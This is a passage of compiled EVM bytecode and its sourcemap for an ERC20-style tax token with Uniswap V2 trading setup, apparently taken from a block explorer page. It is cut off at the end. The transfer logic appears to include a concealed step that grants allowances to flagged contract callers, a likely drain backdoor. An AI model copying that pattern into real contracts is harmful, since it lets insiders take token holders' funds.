42906461f313f88061160a565b600d556105516009600a6115fc565b610560906461f313f88061160a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105906009600a6115fc565b61059f906461f313f88061160a565b60405190815260200160405180910390a1565b5f61037f338484610a8b565b5f546001600160a01b031633146105e75760405162461bcd60e51b815260040161043b90611621565b601254600160a01b900460ff16156106415760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043b565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561068b90309061067c6009600a6115fc565b610402906461f313f88061160a565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106db573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ff9190611656565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107829190611656565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107cc573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f09190611656565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610837816001600160a01b03165f9081526001602052604090205490565b5f5f61084a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b0573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d59190611671565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561092a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094e919061169c565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043b565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043b565b6001600160a01b038216610b515760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043b565b5f8111610bb25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b5f610bbe848484611173565b9050610bd15f546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bff57505f546001600160a01b03848116911614155b15610e57576012546001600160a01b038581169116148015610c2f57506011546001600160a01b03848116911614155b8015610c5357506001600160a01b0383165f9081526003602052604090205460ff16155b15610d6757600d54821115610caa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161043b565b600e5482610ccc856001600160a01b03165f9081526001602052604090205490565b610cd691906116bb565b1115610d245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043b565b610d506064610d4a600954600c5411610d3f57600554610d43565b6007545b8590611261565b906112df565b600c80549192505f610d61836116ce565b91905055505b6012546001600160a01b038481169116148015610d8d57506001600160a01b0384163014155b15610dba57610db76064610d4a600a54600c5411610dad57600654610d43565b6008548590611261565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610df057506012546001600160a01b038581169116145b8015610e055750601254600160b01b900460ff165b8015610e125750600f5481115b8015610e215750600b54600c54115b15610e5557610e43610e3e84610e3984601054611320565b611320565b610fcc565b478015610e5357610e534761113c565b505b505b8015610ecf57305f90815260016020526040902054610e769082611334565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ec69085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ef19083611392565b6001600160a01b0385165f90815260016020526040902055610f34610f168383611392565b6001600160a01b0385165f9081526001602052604090205490611334565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f7d8585611392565b60405190815260200160405180910390a350505050565b5f8184841115610fb75760405162461bcd60e51b815260040161043b91906113ff565b505f610fc384866116e6565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611012576110126116f9565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611069573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108d9190611656565b816001815181106110a0576110a06116f9565b6001600160a01b0392831660209182029290920101526011546110c69130911684610968565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fe9085905f9086903090429060040161170d565b5f604051808303815f87803b158015611115575f5ffd5b505af1158015611127573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610489573d5f5f3e3d5ffd5b6012545f906001600160a01b0316336001600160a01b0316141580156111a75750335f9081526003602052604090205460ff165b80156111b35750333b15155b80156111c857506001600160a01b0384163014155b156111f857506001600160a01b0383165f908152600260209081526040808320338452909152812082905561040b565b335f9081526003602052604090205460ff16801561122457506012546001600160a01b03848116911614155b80156112305750823b15155b15611258576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f825f0361127057505f610383565b5f61127b838561160a565b905082611288858361177d565b1461040b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b5f61040b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d3565b5f81831161132e578261040b565b50919050565b5f8061134083856116bb565b90508381101561040b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b5f61040b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f94565b5f81836113f35760405162461bcd60e51b815260040161043b91906113ff565b505f610fc3848661177d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611448575f5ffd5b50565b5f5f6040838503121561145c575f5ffd5b823561146781611434565b946020939093013593505050565b5f5f5f60608486031215611487575f5ffd5b833561149281611434565b925060208401356114a281611434565b929592945050506040919091013590565b5f602082840312156114c3575f5ffd5b813561040b81611434565b5f5f604083850312156114df575f5ffd5b82356114ea81611434565b915060208301356114fa81611434565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156115545780850481111561153857611538611505565b600184161561154657908102905b60019390931c92800261151d565b935093915050565b5f8261156a57506001610383565b8161157657505f610383565b816001811461158c5760028114611596576115b2565b6001915050610383565b60ff8411156115a7576115a7611505565b50506001821b610383565b5060208310610133831016604e8410600b84101617156115d5575081810a610383565b6115e15f198484611519565b805f19048211156115f4576115f4611505565b029392505050565b5f61040b60ff84168361155c565b808202811582820484141761038357610383611505565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611666575f5ffd5b815161040b81611434565b5f5f5f60608486031215611683575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156116ac575f5ffd5b8151801515811461040b575f5ffd5b8082018082111561038357610383611505565b5f600182016116df576116df611505565b5060010190565b8181038181111561038357610383611505565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561175d5783516001600160a01b0316835260209384019390920191600101611736565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261179757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044264c746b18cc447f01a85a267d14d7fd230d14ad34126250338b5eb638c22764736f6c634300081e0033
Deployed Bytecode Sourcemap
4048:8124:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5839:83;;;;;;;;;;-1:-1:-1;5909:5:0;;;;;;;;;;;;-1:-1:-1;;;5909:5:0;;;;5839:83;;;;;;;:::i;:::-;;;;;;;;6672:161;;;;;;;;;;-1:-1:-1;6672:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6672:161:0;945:187:1;5084:48:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;5084:48:0;1137:177:1;6116:95:0;;;;;;;;;;;;;:::i;6841:313::-;;;;;;;;;;-1:-1:-1;6841:313:0;;;;;:::i;:::-;;:::i;6025:83::-;;;;;;;;;;-1:-1:-1;6025:83:0;;4716:1;1974:36:1;;1962:2;1947:18;6025:83:0;1832:184:1;11835:334:0;;;;;;;;;;;;;:::i;:::-;;6219:119;;;;;;;;;;-1:-1:-1;6219:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6312:18:0;6285:7;6312:18;;;:9;:18;;;;;;;6219:119;1305:148;;;;;;;;;;;;;:::i;10120:160::-;;;;;;;;;;;;;:::i;4908:49::-;;;;;;;;;;;;;;;;1091:79;;;;;;;;;;-1:-1:-1;1129:7:0;1156:6;1091:79;;-1:-1:-1;;;;;1156:6:0;;;2419:51:1;;2407:2;2392:18;1091:79:0;2273:203:1;4965:51:0;;;;;;;;;;;;;;;;5930:87;;;;;;;;;;-1:-1:-1;6002:7:0;;;;;;;;;;;;-1:-1:-1;;;6002:7:0;;;;5930:87;;6346:167;;;;;;;;;;-1:-1:-1;6346:167:0;;;;;:::i;:::-;;:::i;5023:54::-;;;;;;;;;;;;;;;;11116:674;;;;;;;;;;;;;:::i;6521:143::-;;;;;;;;;;-1:-1:-1;6521:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6629:18:0;;;6602:7;6629:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6521:143;6672:161;6747:4;6764:39;748:10;6787:7;6796:6;6764:8;:39::i;:::-;-1:-1:-1;6821:4:0;6672:161;;;;;:::o;6116:95::-;6169:7;4774:13;4716:1;4774:2;:13;:::i;:::-;4759:28;;:12;:28;:::i;:::-;6189:14;;6116:95;:::o;6841:313::-;6939:4;6956:36;6966:6;6974:9;6985:6;6956:9;:36::i;:::-;7003:121;7012:6;748:10;7034:89;7072:6;7034:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7034:19:0;;;;;;:11;:19;;;;;;;;748:10;7034:33;;;;;;;;;;:37;:89::i;:::-;7003:8;:121::i;:::-;-1:-1:-1;7142:4:0;6841:313;;;;;;:::o;11835:334::-;1218:6;;-1:-1:-1;;;;;1218:6:0;748:10;1218:22;1210:67;;;;-1:-1:-1;;;1210:67:0;;;;;;;:::i;:::-;;;;;;;;;11925:4:::1;11886:20;6312:18:::0;;;:9;:18;;;;;;11946:16;;;;;:31:::1;;-1:-1:-1::0;11966:11:0::1;::::0;-1:-1:-1;;;11966:11:0;::::1;;;11946:31;11942:91;;;11991:30;12008:12;11991:16;:30::i;:::-;12062:21;12098:14:::0;;12094:68:::1;;12126:24;12139:10;12126:12;:24::i;:::-;11875:294;;11835:334::o:0;1305:148::-;1218:6;;-1:-1:-1;;;;;1218:6:0;748:10;1218:22;1210:67;;;;-1:-1:-1;;;1210:67:0;;;;;;;:::i;:::-;1412:1:::1;1396:6:::0;;1375:40:::1;::::0;-1:-1:-1;;;;;1396:6:0;;::::1;::::0;1375:40:::1;::::0;1412:1;;1375:40:::1;1443:1;1426:19:::0;;-1:-1:-1;;;;;;1426:19:0::1;::::0;;1305:148::o;10120:160::-;1218:6;;-1:-1:-1;;;;;1218:6:0;748:10;1218:22;1210:67;;;;-1:-1:-1;;;1210:67:0;;;;;;;:::i;:::-;4774:13:::1;4716:1;4774:2;:13;:::i;:::-;4759:28;::::0;:12:::1;:28;:::i;:::-;10174:12;:21:::0;4774:13:::1;4716:1;4774:2;:13;:::i;:::-;4759:28;::::0;:12:::1;:28;:::i;:::-;10206:14;:23:::0;10245:27:::1;4774:13;4716:1;4774:2;:13;:::i;:::-;4759:28;::::0;:12:::1;:28;:::i;:::-;10245:27;::::0;1283:25:1;;;1271:2;1256:18;10245:27:0::1;;;;;;;10120:160::o:0;6346:167::-;6424:4;6441:42;748:10;6465:9;6476:6;6441:9;:42::i;11116:674::-;1218:6;;-1:-1:-1;;;;;1218:6:0;748:10;1218:22;1210:67;;;;-1:-1:-1;;;1210:67:0;;;;;;;:::i;:::-;11180:11:::1;::::0;-1:-1:-1;;;11180:11:0;::::1;;;11179:12;11171:47;;;::::0;-1:-1:-1;;;11171:47:0;;5174:2:1;11171:47:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:25;5232:18;;;5225:53;5295:18;;11171:47:0::1;4972:347:1::0;11171:47:0::1;11229:15;:80:::0;;-1:-1:-1;;;;;;11229:80:0::1;11266:42;11229:80:::0;;::::1;::::0;;;11320:57:::1;::::0;11337:4:::1;::::0;4774:13:::1;4716:1;4774:2;:13;:::i;:::-;4759:28;::::0;:12:::1;:28;:::i;11320:57::-;11422:15;;;;;;;;;-1:-1:-1::0;;;;;11422:15:0::1;-1:-1:-1::0;;;;;11422:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11404:55:0::1;;11468:4;11475:15;;;;;;;;;-1:-1:-1::0;;;;;11475:15:0::1;-1:-1:-1::0;;;;;11475:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11404:94;::::0;-1:-1:-1;;;;;;11404:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;11404:94:0::1;::::0;::::1;5754:51:1::0;5841:32;;5821:18;;;5814:60;5727:18;;11404:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11388:13;:110:::0;;-1:-1:-1;;;;;11388:110:0;;::::1;-1:-1:-1::0;;;;;;11388:110:0;;::::1;;::::0;;11509:15:::1;::::0;::::1;:31;11547:21;11578:4;11585:24;11578:4:::0;-1:-1:-1;;;;;6312:18:0;6285:7;6312:18;;;:9;:18;;;;;;;6219:119;11585:24:::1;11611:1;11614;11617:7;1129::::0;1156:6;-1:-1:-1;;;;;1156:6:0;;1091:79;11617:7:::1;11509:133;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11509:133:0;;;-1:-1:-1;;;;;6206:32:1;;;11509:133:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;11626:15:0::1;6454:19:1::0;;;6447:35;6160:19;;11509:133:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11660:13:0::1;::::0;11691:15:::1;::::0;11653:71:::1;::::0;-1:-1:-1;;;11653:71:0;;-1:-1:-1;;;;;11691:15:0;;::::1;11653:71;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;11660:13:0;::::1;::::0;-1:-1:-1;11653:29:0::1;::::0;7101:18:1;;11653:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11735:11:0::1;:18:::0;;-1:-1:-1;;;;11764:18:0;-1:-1:-1;;;11764:18:0;;;11116:674::o;7162:335::-;-1:-1:-1;;;;;7255:19:0;;7247:68;;;;-1:-1:-1;;;7247:68:0;;7717:2:1;7247:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;7247:68:0;7515:400:1;7247:68:0;-1:-1:-1;;;;;7334:21:0;;7326:68;;;;-1:-1:-1;;;7326:68:0;;8122:2:1;7326:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;7326:68:0;7920:398:1;7326:68:0;-1:-1:-1;;;;;7405:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7457:32;;1283:25:1;;;7457:32:0;;1256:18:1;7457:32:0;;;;;;;7162:335;;;:::o;7505:1909::-;-1:-1:-1;;;;;7593:18:0;;7585:68;;;;-1:-1:-1;;;7585:68:0;;8525:2:1;7585:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;7585:68:0;8323:401:1;7585:68:0;-1:-1:-1;;;;;7672:16:0;;7664:64;;;;-1:-1:-1;;;7664:64:0;;8931:2:1;7664:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;7664:64:0;8729:399:1;7664:64:0;7756:1;7747:6;:10;7739:64;;;;-1:-1:-1;;;7739:64:0;;9335:2:1;7739:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;7739:64:0;9133:405:1;7739:64:0;7816:17;7836:32;7853:4;7858:2;7861:6;7836:16;:32::i;:::-;7816:52;;7889:7;1129;1156:6;-1:-1:-1;;;;;1156:6:0;;1091:79;7889:7;-1:-1:-1;;;;;7883:13:0;:4;-1:-1:-1;;;;;7883:13:0;;;:30;;;;-1:-1:-1;1129:7:0;1156:6;-1:-1:-1;;;;;7900:13:0;;;1156:6;;7900:13;;7883:30;7879:1179;;;7940:13;;-1:-1:-1;;;;;7934:19:0;;;7940:13;;7934:19;:53;;;;-1:-1:-1;7971:15:0;;-1:-1:-1;;;;;7957:30:0;;;7971:15;;7957:30;;7934:53;:81;;;;-1:-1:-1;;;;;;7993:22:0;;;;;;:18;:22;;;;;;;;7991:24;7934:81;7930:419;;;8055:12;;8045:6;:22;;8036:61;;;;-1:-1:-1;;;8036:61:0;;9745:2:1;8036:61:0;;;9727:21:1;9784:2;9764:18;;;9757:30;9823:27;9803:18;;;9796:55;9868:18;;8036:61:0;9543:349:1;8036:61:0;8151:14;;8141:6;8125:13;8135:2;-1:-1:-1;;;;;6312:18:0;6285:7;6312:18;;;:9;:18;;;;;;;6219:119;8125:13;:22;;;;:::i;:::-;:40;;8116:80;;;;-1:-1:-1;;;8116:80:0;;10229:2:1;8116:80:0;;;10211:21:1;10268:2;10248:18;;;10241:30;10307:28;10287:18;;;10280:56;10353:18;;8116:80:0;10027:350:1;8116:80:0;8227:76;8299:3;8227:67;8249:15;;8239:9;;:25;8238:55;;8279:14;;8238:55;;;8266:12;;8238:55;8227:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8322:9;:11;;8215:88;;-1:-1:-1;8322:9:0;:11;;;:::i;:::-;;;;;;7930:419;8375:13;;-1:-1:-1;;;;;8369:19:0;;;8375:13;;8369:19;:42;;;;-1:-1:-1;;;;;;8392:19:0;;8406:4;8392:19;;8369:42;8365:173;;;8443:79;8518:3;8443:70;8465:16;;8455:9;;:26;8454:58;;8497:15;;8454:58;;;8483:13;;8443:6;;:10;:70::i;:79::-;8431:91;;8365:173;8603:4;8554:28;6312:18;;;:9;:18;;;;;;8631:6;;-1:-1:-1;;;8631:6:0;;;;8630:7;:30;;;;-1:-1:-1;8647:13:0;;-1:-1:-1;;;;;8641:19:0;;;8647:13;;8641:19;8630:30;:45;;;;-1:-1:-1;8664:11:0;;-1:-1:-1;;;8664:11:0;;;;8630:45;:87;;;;;8700:17;;8679:20;:38;8630:87;:119;;;;;8731:18;;8721:9;;:28;8630:119;8626:421;;;8769:69;8786:51;8790:6;8798:38;8802:20;8824:11;;8798:3;:38::i;:::-;8786:3;:51::i;:::-;8769:16;:69::i;:::-;8886:21;8930:22;;8926:106;;8977:35;8990:21;8977:12;:35::i;:::-;8750:297;8626:421;7915:1143;7879:1179;9074:11;;9070:163;;9142:4;9124:24;;;;:9;:24;;;;;;:39;;9153:9;9124:28;:39::i;:::-;9117:4;9099:24;;;;:9;:24;;;;;;;:64;;;;9181:40;;-1:-1:-1;;;;;9181:40:0;;;;;;;9211:9;1283:25:1;;1271:2;1256:18;;1137:177;9181:40:0;;;;;;;;9070:163;-1:-1:-1;;;;;9259:15:0;;;;;;:9;:15;;;;;;:27;;9279:6;9259:19;:27::i;:::-;-1:-1:-1;;;;;9243:15:0;;;;;;:9;:15;;;;;:43;9311:40;9329:21;:6;9340:9;9329:10;:21::i;:::-;-1:-1:-1;;;;;9311:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9297:13:0;;;;;;;:9;:13;;;;;:54;;;;9367:39;;;9384:21;:6;9395:9;9384:10;:21::i;:::-;9367:39;;1283:25:1;;;1271:2;1256:18;9367:39:0;;;;;;;7574:1840;7505:1909;;;:::o;2496:190::-;2582:7;2618:12;2610:6;;;;2602:29;;;;-1:-1:-1;;;2602:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2642:9:0;2654:5;2658:1;2654;:5;:::i;:::-;2642:17;2496:190;-1:-1:-1;;;;;2496:190:0:o;9530:482::-;5366:6;:13;;-1:-1:-1;;;;5366:13:0;-1:-1:-1;;;5366:13:0;;;9631:16:::1;::::0;;9645:1:::1;9631:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9631:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9631:16:0::1;9608:39;;9676:4;9658;9663:1;9658:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9658:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9702:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9702:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9658:7;;9702:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9692:4;9697:1;9692:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9692:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9767:15:::1;::::0;9735:62:::1;::::0;9752:4:::1;::::0;9767:15:::1;9785:11:::0;9735:8:::1;:62::i;:::-;9808:15;::::0;:196:::1;::::0;-1:-1:-1;;;9808:196:0;;-1:-1:-1;;;;;9808:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9889:11;;9808:15:::1;::::0;9931:4;;9958::::1;::::0;9978:15:::1;::::0;9808:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5384:6:0;:14;;-1:-1:-1;;;;5384:14:0;;;-1:-1:-1;;;;9530:482:0:o;10020:92::-;10077:10;;:27;;-1:-1:-1;;;;;10077:10:0;;;;:27;;;;;10097:6;;10077:10;:27;:10;:27;10097:6;10077:10;:27;;;;;;;;;;;;;;;;;;;10288:440;10410:13;;10372:7;;-1:-1:-1;;;;;10410:13:0;748:10;-1:-1:-1;;;;;10396:27:0;;;:62;;;;-1:-1:-1;748:10:0;10426:32;;;;:18;:32;;;;;;;;10396:62;:90;;;;-1:-1:-1;748:10:0;11044:20;11092:8;;10462:24;10396:115;;;;-1:-1:-1;;;;;;10490:21:0;;10506:4;10490:21;;10396:115;10392:180;;;-1:-1:-1;;;;;;10843:18:0;;10823:7;10843:18;;;:11;:18;;;;;;;;748:10;10843:27;;;;;;;:36;;;10526:46;;10392:180;748:10;10587:32;;;;:18;:32;;;;;;;;:53;;;;-1:-1:-1;10627:13:0;;-1:-1:-1;;;;;10623:17:0;;;10627:13;;10623:17;;10587:53;:71;;;;-1:-1:-1;11044:20:0;;11092:8;;10644:14;10583:118;;;-1:-1:-1;;;;;10673:22:0;;;;;;:18;:22;;;;;:28;;-1:-1:-1;;10673:28:0;10697:4;10673:28;;;10583:118;-1:-1:-1;10719:1:0;10288:440;;;;;:::o;2694:246::-;2752:7;2776:1;2781;2776:6;2772:47;;-1:-1:-1;2806:1:0;2799:8;;2772:47;2829:9;2841:5;2845:1;2841;:5;:::i;:::-;2829:17;-1:-1:-1;2874:1:0;2865:5;2869:1;2829:17;2865:5;:::i;:::-;:10;2857:56;;;;-1:-1:-1;;;2857:56:0;;12307:2:1;2857:56:0;;;12289:21:1;12346:2;12326:18;;;12319:30;12385:34;12365:18;;;12358:62;-1:-1:-1;;;12436:18:1;;;12429:31;12477:19;;2857:56:0;12105:397:1;2948:132:0;3006:7;3033:39;3037:1;3040;3033:39;;;;;;;;;;;;;;;;;:3;:39::i;9424:98::-;9481:7;9508:1;9506;:3;9505:9;;9513:1;9505:9;;;-1:-1:-1;9511:1:0;9424:98;-1:-1:-1;9424:98:0:o;2165:179::-;2223:7;;2255:5;2259:1;2255;:5;:::i;:::-;2243:17;;2284:1;2279;:6;;2271:46;;;;-1:-1:-1;;;2271:46:0;;12709:2:1;2271:46:0;;;12691:21:1;12748:2;12728:18;;;12721:30;12787:29;12767:18;;;12760:57;12834:18;;2271:46:0;12507:351:1;2352:136:0;2410:7;2437:43;2441:1;2444;2437:43;;;;;;;;;;;;;;;;;:3;:43::i;3088:189::-;3174:7;3209:12;3202:5;3194:28;;;;-1:-1:-1;;;3194:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3233:9:0;3245:5;3249:1;3245;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943: